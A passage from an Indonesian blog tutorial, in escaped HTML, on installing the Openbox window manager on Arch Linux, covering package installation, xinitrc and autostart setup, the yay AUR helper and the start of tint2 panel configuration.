&lt;div&gt;&lt;a href=&quot;https://archcraft.io/&quot; target=&quot;_blank&quot;&gt;&lt;figure&gt;&lt;img alt=&quot;Archcraft&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/ss1.cxiFBpCH_2qShio.webp&quot; /&gt;&lt;figcaption&gt;Archcraft&lt;/figcaption&gt;&lt;/figure&gt;&lt;/a&gt;&lt;a href=&quot;https://www.bunsenlabs.org/&quot; target=&quot;_blank&quot;&gt;&lt;figure&gt;&lt;img alt=&quot;Bunsenlabs&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/ss2.t3yoDGUI_Z1TgewX.webp&quot; /&gt;&lt;figcaption&gt;Bunsenlabs&lt;/figcaption&gt;&lt;/figure&gt;&lt;/a&gt;&lt;a href=&quot;https://maboxlinux.org/&quot; target=&quot;_blank&quot;&gt;&lt;figure&gt;&lt;img alt=&quot;Mabox&quot; loading=&quot;lazy&quot; width=&quot;1600&quot; height=&quot;900&quot; src=&quot;/_astro/ss3.Cn4a_fSY_Z13Hz7c.webp&quot; /&gt;&lt;figcaption&gt;Mabox&lt;/figcaption&gt;&lt;/figure&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Karena ketiga tersebut secara default sudah menggunakan openbox, kalian bisa langsung menggunakannya begitu selesai menginstall distro-distro tersebut untuk merasakan sensasi indah, sederhana, elegan dan nostalgic-nya openbox ✌️.&lt;/p&gt;
&lt;section&gt;&lt;h1&gt;Instalasi Openbox&lt;a href=&quot;#instalasi-openbox&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Tapi, jika kalian ingin tau bagaimana openbox ‘&lt;em&gt;fresh from the oven&lt;/em&gt;’ alias openbox versi murni, kita akan coba install bersama. Sebelumnya, sebagai informasi saja, di sini saya akan menunjukkan demo instalasi openbox via archinstall &lt;em&gt;script&lt;/em&gt; di distro Archlinux karena &lt;strong&gt;I use Arch BTW!&lt;/strong&gt;. Panduan instalasinya akan persis sama seperti yang ada di artikel saya berjudul “&lt;a href=&quot;https://abwildan.github.io/post/archinstall/&quot; target=&quot;_blank&quot;&gt;Instalasi Archlinux KDE via archinstall&lt;/a&gt;”, kecuali pada bagian &lt;em&gt;&lt;strong&gt;profile&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Profile&lt;a href=&quot;#profile&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pada bagian &lt;em&gt;&lt;strong&gt;profile&lt;/strong&gt;&lt;/em&gt;, kita tidak memilih desktop, tapi xorg.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;803&quot; src=&quot;/_astro/gif1.B2MotnW3_ZnbK02.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kemudian pilin &lt;strong&gt;&lt;code&gt;install&lt;/code&gt;&lt;/strong&gt;, biarkan proses instalasi Archlinux berjalan dan &lt;em&gt;reboot&lt;/em&gt; jika sudah selesai.&lt;/p&gt;&lt;p&gt;Setelah login, kita akan menginstall beberapa paket untuk kebutuhan openbox&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;NOTICE ME&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Jangan lupa mengganti DNS ke DNS google supaya tidak ada hambatan jaringan ketika meng-&lt;em&gt;install&lt;/em&gt; atau meng-&lt;em&gt;update&lt;/em&gt; &lt;em&gt;software&lt;/em&gt;, di &lt;code&gt;/etc/resolv.conf&lt;/code&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-S&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;openbox&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;tint2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;feh&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;obconf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;lxappearance&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;xorg-xrandr&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;xfce4-terminal&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;firefox&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;thunar&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sxiv&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mpv&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nano&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;wget&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Keterangan:&lt;/strong&gt;&lt;/p&gt;










































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;No&lt;/th&gt;&lt;th&gt;Package Name&lt;/th&gt;&lt;th&gt;Description&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;&lt;strong&gt;openbox&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;openbox&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;&lt;strong&gt;tint2&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;panel&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;&lt;strong&gt;feh&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;background&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;&lt;strong&gt;obconf&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;GTK tools&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;5&lt;/td&gt;&lt;td&gt;&lt;strong&gt;lxappearance&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;cust. look and feel&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;6&lt;/td&gt;&lt;td&gt;&lt;strong&gt;xorg-xrandr&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;resolution tool&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;7&lt;/td&gt;&lt;td&gt;&lt;strong&gt;xfce4-terminal&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;terminal emulator&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8&lt;/td&gt;&lt;td&gt;&lt;strong&gt;firefox&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;web browser&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;9&lt;/td&gt;&lt;td&gt;&lt;strong&gt;thunar&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;file manager&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;10&lt;/td&gt;&lt;td&gt;&lt;strong&gt;sxiv&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;image viewer&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;11&lt;/td&gt;&lt;td&gt;&lt;strong&gt;mpv&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;audio/video player&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;12&lt;/td&gt;&lt;td&gt;&lt;strong&gt;nano&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;text editor (CLI)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;13&lt;/td&gt;&lt;td&gt;&lt;strong&gt;wget&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;web retriever&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Selanjutnya, &lt;em&gt;copy-paste&lt;/em&gt; xinitrc dari /etc/X11/xinit/xinitrc ke .xinitrc dan folder /etc/xdg/openbox ke .config:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/X11/xinit/xinitrc&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;.xinitrc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-R&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/xdg/openbox&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;.config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kita edit file &lt;strong&gt;&lt;code&gt;.xinitrc&lt;/code&gt;&lt;/strong&gt; dengan nano, hapus atau &lt;em&gt;comment&lt;/em&gt; lima baris terakhir berikut &amp;amp; tambahkan baris perintah untuk memulai openbox via startx:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;483&quot; height=&quot;428&quot; src=&quot;/_astro/ss2.B3fOfP85_ZivXLH.webp&quot; /&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# twm &amp;amp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# xclock -geometry 50x50-1+1 &amp;amp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# xterm -geometry 80x50+494+51 &amp;amp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# xterm -geometry 80x20+494-0 &amp;amp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# exec xterm -geometry 80x66+0+0 -name login&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;exec&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;openbox-session&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# start openbox via startx&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Berikutnya, kita edit file &lt;strong&gt;&lt;code&gt;.config../images/openbox/autostart&lt;/code&gt;&lt;/strong&gt;, tambahkan baris berikut di baris paling akhir untuk me-&lt;em&gt;launch&lt;/em&gt; program-program berikut ketika selesai login:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;596&quot; height=&quot;478&quot; src=&quot;/_astro/ss3.CZUyJIm7_Z2oLLLV.webp&quot; /&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;tint2&lt;/span&gt;&lt;span&gt;&amp;amp; &lt;/span&gt;&lt;span&gt;# panel&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;xrandr&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-s&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1920x1080&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# resolusi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;feh&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--bg-scale&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/Downloads/blue.png&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# wallpaper&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;xfce4-terminal&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# terminal emulator&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;sesuaikan konfigurasi resolusinya dengan layar komputer/laptop kalian.&lt;/li&gt;
&lt;li&gt;kita harus mengunduh gambar agar bisa tampil sebagai wallpaper, jadi, untuk sementara, gunakan wallpaper berikut terlebih dahulu&lt;/li&gt;
&lt;/ul&gt;&lt;/blockquote&gt;&lt;p&gt;Ketikkan perintah&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Downloads&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;wget&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://w.wallhaven.cc/full/5g/wallhaven-5gqrp3.jpg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-O&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;blue.png&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk memulai openbox, ketikkan perintah&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;startx&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kalau tampilan openbox kalian seperti ini:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/ss4.GNGUUety_12587w.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;itu pertanda bahwa kalian &lt;strong&gt;berhasil menginstall openbox&lt;/strong&gt;! YEY!&lt;/p&gt;&lt;p&gt;Congrattzz!! 🥳 🥳 🥳&lt;/p&gt;&lt;p&gt;Dan kalau kita perhatikan, openbox merupakan salah satu window manager yang ringan karena menggunakan resource yang rendah. Berikut penggunaan RAM (&lt;em&gt;random access memory&lt;/em&gt;)-nya yang hanya memakan 160-an MB:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;740&quot; height=&quot;210&quot; src=&quot;/_astro/ss5.BI_bOcHc_146pRm.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h1&gt;Kustomisasi Sederhana&lt;a href=&quot;#kustomisasi-sederhana&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Sekarang, kita akan mengkonfigurasi beberapa hal yang menurut saya cukup penting karena terkait dengan kenyamanan dan estetika. Beberapa hal yang akan kita konfigurasi pada bagian “Konfigurasi Sederhana” ini setidaknya ada 7 hal:&lt;/p&gt;&lt;p&gt;&lt;em&gt;So, let’s get into it!&lt;/em&gt;&lt;/p&gt;&lt;section&gt;&lt;h2&gt;1. Yay&lt;a href=&quot;#1-yay&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Yay adalah salah &lt;em&gt;package manager&lt;/em&gt; untuk &lt;a href=&quot;https://aur.archlinux.org/&quot; target=&quot;_blank&quot;&gt;AUR (Arch User Repository)&lt;/a&gt;. Beberapa &lt;em&gt;package manager&lt;/em&gt; yang tidak terdapat di &lt;em&gt;database repository&lt;/em&gt; archlinux biasanya tersedia di aur. Jadi, kalau kita ingin meng-&lt;em&gt;install packages&lt;/em&gt; dari aur, kita membutuhkan &lt;em&gt;package manager&lt;/em&gt; khusus karena tidak bisa menggunakan &lt;strong&gt;&lt;code&gt;pacman&lt;/code&gt;&lt;/strong&gt;. Nah, sebetulnya, ada beberapa &lt;em&gt;package manager&lt;/em&gt; (atau yang biasa disebut juga sebagai &lt;strong&gt;AUR helpers&lt;/strong&gt;), seperti &lt;strong&gt;yay&lt;/strong&gt;, &lt;strong&gt;paru&lt;/strong&gt;, &lt;strong&gt;pacaur&lt;/strong&gt;, &lt;strong&gt;pamac&lt;/strong&gt;, dan &lt;strong&gt;trizen&lt;/strong&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;. Tapi, saya akan gunakan &lt;strong&gt;&lt;code&gt;yay&lt;/code&gt;&lt;/strong&gt; karena alasan kebiasaan saja.&lt;/p&gt;&lt;p&gt;Sebelum menginstall &lt;strong&gt;&lt;code&gt;yay&lt;/code&gt;&lt;/strong&gt;, kita perlu meng-&lt;em&gt;install&lt;/em&gt; &lt;strong&gt;&lt;code&gt;git&lt;/code&gt;&lt;/strong&gt; terlebih dahulu.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-S&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;git&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Baru sekarang kita bisa meng-&lt;em&gt;install&lt;/em&gt; &lt;strong&gt;&lt;code&gt;yay&lt;/code&gt;&lt;/strong&gt; dengan perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;clone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://aur.archlinux.org/yay.git&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;yay&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;makepkg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-si&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk memastikan &lt;strong&gt;&lt;code&gt;yay&lt;/code&gt;&lt;/strong&gt; sudah ter-&lt;em&gt;install&lt;/em&gt;, ketikkan perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;yay&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--version&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;398&quot; height=&quot;118&quot; src=&quot;/_astro/ss6.BlIWhiPz_6HSpS.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Jika instalasi berhasil, maka perintah tersebut mengeluarkan output berupa versi &lt;strong&gt;&lt;code&gt;yay&lt;/code&gt;&lt;/strong&gt; yang sudah ter-&lt;em&gt;install&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;Setelah itu, jangan lupa untuk &lt;em&gt;update&lt;/em&gt; repo aur via &lt;strong&gt;&lt;code&gt;yay&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;yay&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Syu&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# update repository&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk menginstall &lt;em&gt;package&lt;/em&gt; atau &lt;em&gt;software&lt;/em&gt; via &lt;strong&gt;&lt;code&gt;yay&lt;/code&gt;&lt;/strong&gt;, hampir mirip dengan &lt;strong&gt;&lt;code&gt;pacman&lt;/code&gt;&lt;/strong&gt;, ketikkan perintah berikut (tanpa &lt;strong&gt;sudo&lt;/strong&gt;) - misalnya saya ingin menginstall &lt;strong&gt;&lt;code&gt;xrdp&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;yay&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-S&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;xrdp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# install xrdp&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;608&quot; height=&quot;244&quot; src=&quot;/_astro/ss7.Z1SdGWXf_Z1ST851.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Akan muncul daftar rekomendasi &lt;em&gt;package&lt;/em&gt; yang kita &lt;em&gt;request&lt;/em&gt; untuk di-&lt;em&gt;install&lt;/em&gt; (kebetulan &lt;strong&gt;&lt;code&gt;xrdp&lt;/code&gt;&lt;/strong&gt; hanya ada satu kandidat saja). Tekan &lt;strong&gt;[Enter]&lt;/strong&gt; - &lt;strong&gt;[Enter]&lt;/strong&gt; saja untuk langsung memasang &lt;strong&gt;&lt;code&gt;xrdp&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;2. Tint2&lt;a href=&quot;#2-tint2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Seperti deskripsi yang sudah saya lampirkan sebelumnya di bagian instalasi, &lt;code&gt;tint2&lt;/code&gt; adalah program untuk menampilkan panel. Sebetulnya, &lt;code&gt;tint2&lt;/code&gt; yang tampil sekarang sudah cukup sebagai tampilan panel. Hanya saja, menurut saya masih belum fungsional. Jadi, nanti saya akan konfigurasi sesuai dengan kebutuhan dan preferensi saya.&lt;/p&gt;&lt;p&gt;Kita akan mengkonfigurasi &lt;code&gt;tint2&lt;/code&gt; sehingga akan tampak sebagai berikut:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;797&quot; height=&quot;597&quot; src=&quot;/_astro/ss20.CJXoFc3k_Z92Ewn.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat, &lt;code&gt;tint2&lt;/code&gt; akan saya “tempel” di atas, dengan shortcut icon aplikasi seperti &lt;strong&gt;firefox&lt;/strong&gt;, &lt;strong&gt;code&lt;/strong&gt;, &lt;strong&gt;thunar&lt;/strong&gt;, &lt;strong&gt;xfce4-terminal&lt;/strong&gt;, dan &lt;strong&gt;mousepad&lt;/strong&gt;. Kemudian, di sebelahnya menampilkan lokasi &lt;em&gt;current workspace&lt;/em&gt;, di sebelahnya ada tanggal dan jam.&lt;/p&gt;&lt;p&gt;Pertama, buka &lt;code&gt;tint2&lt;/code&gt; settings atau kalian bisa klik pada icon kotak putih dengan pensil di &lt;code&gt;tint2&lt;/code&gt; yang tampil. Kemudian, pilih config file yang &lt;strong&gt;horizontal-icon-only.tint2rc&lt;/strong&gt;, klik &lt;strong&gt;ceklis&lt;/strong&gt; di pojok kiri atas.
